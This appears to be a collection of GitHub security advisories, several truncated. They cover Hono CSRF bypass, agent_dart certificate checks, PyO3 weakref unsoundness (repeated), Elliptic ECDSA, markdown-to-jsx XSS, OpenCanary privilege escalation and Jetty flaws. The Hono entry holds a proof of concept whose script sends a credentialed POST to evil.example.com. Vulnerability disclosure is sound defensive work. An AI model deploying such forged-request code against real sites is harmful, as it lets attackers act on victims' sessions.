ghsa

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests ...

Certificate verification (in [lib/agent/certificate.dart](https://github.com/AstroxNetwork/agent_dart/blob/main/lib/agent/certificate.dart)) has been found to contain two issues: - During the delegation verification (in [_checkDelegation](https://github.com/AstroxNetwork/agent_dart/blob/f50971dfae3f536c1720f0084f28afbcf5d99cb5/lib/agent/certificate.dart#L162) function) the canister_ranges aren't verified. The impact of not checking the canister_ranges is that a subnet can sign canister responses in behalf of another subnet. You have more details in the IC specification [here](https://internetcomputer.org/docs/current/references/ic-interface-spec#certification-delegation). Also for reference you can check how is this implemented in [the agent-rs](https://github.com/dfinity/agent-rs/blob/608a3f4cfdcdfc5ca1ca74a1b9d33f2137a2d324/ic-agent/src/agent/mod.rs#L903-L914). - The certificate’s timestamp, i.e /time path, is not verified, meaning that the certificate effectively has no expir...

The family of functions to read "borrowed" values from Python weak references were fundamentally unsound, because the weak reference does itself not have ownership of the value. At any point the last strong reference could be cleared and the borrowed value would become dangling. In PyO3 0.22.4 these functions have all been deprecated and patched to leak a strong reference as a mitigation. PyO3 0.23 will remove these functions entirely.

The Elliptic package 6.5.7 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

The family of functions to read "borrowed" values from Python weak references were fundamentally unsound, because the weak reference does itself not have ownership of the value. At any point the last strong reference could be cleared and the borrowed value would become dangling. In PyO3 0.22.4 these functions have all been deprecated and patched to leak a strong reference as a mitigation. PyO3 0.23 will remove these functions entirely.

### Impact Illegal access can be granted to the system. ### References see https://sakaiproject.atlassian.net/browse/SAK-50571

Versions of the package markdown-to-jsx before 7.4.0 are vulnerable to Cross-site Scripting (XSS) via the src property due to improper input sanitization. An attacker can execute arbitrary code by injecting a malicious iframe element in the markdown.

### Impact OpenCanary directly executed commands taken from its config file. Where the config file is stored in an unprivileged user directory but the daemon is executed by root, it’s possible for the unprivileged user to change the config file and escalate permissions when root later runs the daemon. Thanks to the folks at [Whirlylabs](https://whirlylabs.com/) for finding and fixing this. ### Patches Upgrade to 0.9.4 or higher.

## Summary Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. ## Details ### Affected components The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. ### Attack overview The `HttpURI` class does not well validate the authority section of a URI. When presented with an illega...

### Impact Remote DOS attack can cause out of memory ### Description There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory. ### Affected Versions * Jetty 12.0.0-12.0.8 (Supported) * Jetty 11.0.0-11.0.23 (EOL) * Jetty 10.0.0-10.0.23 (EOL) * Jetty 9.3.12-9.4.55 (EOL) ### Patched Versions * Jetty 12.0.9 * Jetty 11.0.24 * Jetty 10.0.24 * Jetty 9.4.56 ### Workarounds Do not use `ThreadLimitHandler`. Consider use of `QoSHandler` instead to artificially limit resource utilization. ### References Jetty 12 - https://github.com/jetty/jetty.project/pull/11723